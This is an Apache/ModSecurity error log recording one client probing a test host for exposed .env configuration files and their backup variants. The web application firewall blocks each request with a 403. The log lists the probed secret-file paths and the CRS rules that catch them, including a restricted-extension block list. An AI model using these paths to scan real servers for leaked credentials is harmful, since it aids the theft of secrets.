[Sun Nov 16 05:33:42.869964 2025] [:error] [pid 105703] [client 18.119.101.32:56586] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.bak"] [unique_id "aRlUJvg2Gh-L-AjQsRfGwAAAAAU"]
[Sun Nov 16 05:33:42.870111 2025] [:error] [pid 105703] [client 18.119.101.32:56586] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.bak"] [unique_id "aRlUJvg2Gh-L-AjQsRfGwAAAAAU"]
[Sun Nov 16 05:33:42.870302 2025] [:error] [pid 105703] [client 18.119.101.32:56586] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.bak"] [unique_id "aRlUJvg2Gh-L-AjQsRfGwAAAAAU"]
[Sun Nov 16 05:33:42.870475 2025] [:error] [pid 105703] [client 18.119.101.32:56586] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env.bak"] [unique_id "aRlUJvg2Gh-L-AjQsRfGwAAAAAU"]
[Sun Nov 16 05:33:42.874160 2025] [:error] [pid 103447] [client 18.119.101.32:56582] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aRlUJlTEmL7xLg9Yon5F2gAAAAo"]
[Sun Nov 16 05:33:42.874333 2025] [:error] [pid 103447] [client 18.119.101.32:56582] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aRlUJlTEmL7xLg9Yon5F2gAAAAo"]
[Sun Nov 16 05:33:42.874500 2025] [:error] [pid 103447] [client 18.119.101.32:56582] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aRlUJlTEmL7xLg9Yon5F2gAAAAo"]
[Sun Nov 16 05:33:49.352618 2025] [authz_core:error] [pid 103399] [client 18.119.101.32:56612] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Sun Nov 16 05:33:58.239957 2025] [:error] [pid 103445] [client 18.119.101.32:50326] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.save"] [unique_id "aRlUNkC1MmZNgKkPK0wSXwAAAAg"]
[Sun Nov 16 05:33:58.240191 2025] [:error] [pid 103445] [client 18.119.101.32:50326] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.save"] [unique_id "aRlUNkC1MmZNgKkPK0wSXwAAAAg"]
[Sun Nov 16 05:33:58.240362 2025] [:error] [pid 103445] [client 18.119.101.32:50326] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.save"] [unique_id "aRlUNkC1MmZNgKkPK0wSXwAAAAg"]
[Sun Nov 16 05:33:58.260739 2025] [authz_core:error] [pid 103398] [client 18.119.101.32:50292] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env.bak
[Sun Nov 16 05:33:58.280307 2025] [:error] [pid 103444] [client 18.119.101.32:50340] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.old"] [unique_id "aRlUNkjUGFX9l3ZphyhAnAAAAAc"]
[Sun Nov 16 05:33:58.280478 2025] [:error] [pid 103444] [client 18.119.101.32:50340] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.old"] [unique_id "aRlUNkjUGFX9l3ZphyhAnAAAAAc"]
[Sun Nov 16 05:33:58.280685 2025] [:error] [pid 103444] [client 18.119.101.32:50340] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.old"] [unique_id "aRlUNkjUGFX9l3ZphyhAnAAAAAc"]
[Sun Nov 16 05:33:58.280860 2025] [:error] [pid 103444] [client 18.119.101.32:50340] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.old"] [unique_id "aRlUNkjUGFX9l3ZphyhAnAAAAAc"]
[Sun Nov 16 05:33:58.289823 2025] [:error] [pid 103448] [client 18.119.101.32:50270] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.bak"] [unique_id "aRlUNgbV20V557lJgw5ykgAAAAs"]
[Sun Nov 16 05:33:58.290047 2025] [:error] [pid 103448] [client 18.119.101.32:50270] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.bak"] [unique_id "aRlUNgbV20V557lJgw5ykgAAAAs"]
[Sun Nov 16 05:33:58.290249 2025] [:error] [pid 103448] [client 18.119.101.32:50270] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.bak"] [unique_id "aRlUNgbV20V557lJgw5ykgAAAAs"]
[Sun Nov 16 05:33:58.290444 2025] [:error] [pid 103448] [client 18.119.101.32:50270] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.bak"] [unique_id "aRlUNgbV20V557lJgw5ykgAAAAs"]
[Sun Nov 16 05:33:58.304141 2025] [:error] [pid 103399] [client 18.119.101.32:50362] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.old"] [unique_id "aRlUNmi5HgwUxagZ6y7LJwAAAAE"]
[Sun Nov 16 05:33:58.304295 2025] [:error] [pid 103399] [client 18.119.101.32:50362] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.old"] [unique_id "aRlUNmi5HgwUxagZ6y7LJwAAAAE"]
[Sun Nov 16 05:33:58.304453 2025] [:error] [pid 103399] [client 18.119.101.32:50362] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.old"] [unique_id "aRlUNmi5HgwUxagZ6y7LJwAAAAE"]
[Sun Nov 16 05:33:58.304591 2025] [:error] [pid 103399] [client 18.119.101.32:50362] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env.old"] [unique_id "aRlUNmi5HgwUxagZ6y7LJwAAAAE"]
[Sun Nov 16 05:33:58.309594 2025] [:error] [pid 105703] [client 18.119.101.32:50320] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.bak"] [unique_id "aRlUNvg2Gh-L-AjQsRfGwQAAAAU"]
[Sun Nov 16 05:33:58.309731 2025] [:error] [pid 105703] [client 18.119.101.32:50320] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.bak"] [unique_id "aRlUNvg2Gh-L-AjQsRfGwQAAAAU"]
[Sun Nov 16 05:33:58.309899 2025] [:error] [pid 105703] [client 18.119.101.32:50320] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.bak"] [unique_id "aRlUNvg2Gh-L-AjQsRfGwQAAAAU"]
[Sun Nov 16 05:33:58.310042 2025] [:error] [pid 105703] [client 18.119.101.32:50320] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.bak"] [unique_id "aRlUNvg2Gh-L-AjQsRfGwQAAAAU"]
[Sun Nov 16 05:33:58.310171 2025] [:error] [pid 103447] [client 18.119.101.32:50356] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aRlUNlTEmL7xLg9Yon5F2wAAAAo"]
[Sun Nov 16 05:33:58.310318 2025] [:error] [pid 103447] [client 18.119.101.32:50356] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aRlUNlTEmL7xLg9Yon5F2wAAAAo"]
[Sun Nov 16 05:33:58.310491 2025] [:error] [pid 103447] [client 18.119.101.32:50356] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aRlUNlTEmL7xLg9Yon5F2wAAAAo"]
[Sun Nov 16 05:33:58.317670 2025] [:error] [pid 103401] [client 18.119.101.32:50282] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.save"] [unique_id "aRlUNr5rejGDIGJeuSGFtwAAAAM"]
[Sun Nov 16 05:33:58.317837 2025] [:error] [pid 103401] [client 18.119.101.32:50282] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.save"] [unique_id "aRlUNr5rejGDIGJeuSGFtwAAAAM"]
[Sun Nov 16 05:33:58.317990 2025] [:error] [pid 103401] [client 18.119.101.32:50282] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env.save"] [unique_id "aRlUNr5rejGDIGJeuSGFtwAAAAM"]
[Sun Nov 16 05:33:58.346762 2025] [authz_core:error] [pid 105706] [client 18.119.101.32:50384] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env.save
[Sun Nov 16 05:33:58.362508 2025] [:error] [pid 103446] [client 18.119.101.32:50300] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.bak"] [unique_id "aRlUNk-c4YqyOTFJOSeIQwAAAAk"]
[Sun Nov 16 05:33:58.362653 2025] [:error] [pid 103446] [client 18.119.101.32:50300] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.bak"] [unique_id "aRlUNk-c4YqyOTFJOSeIQwAAAAk"]
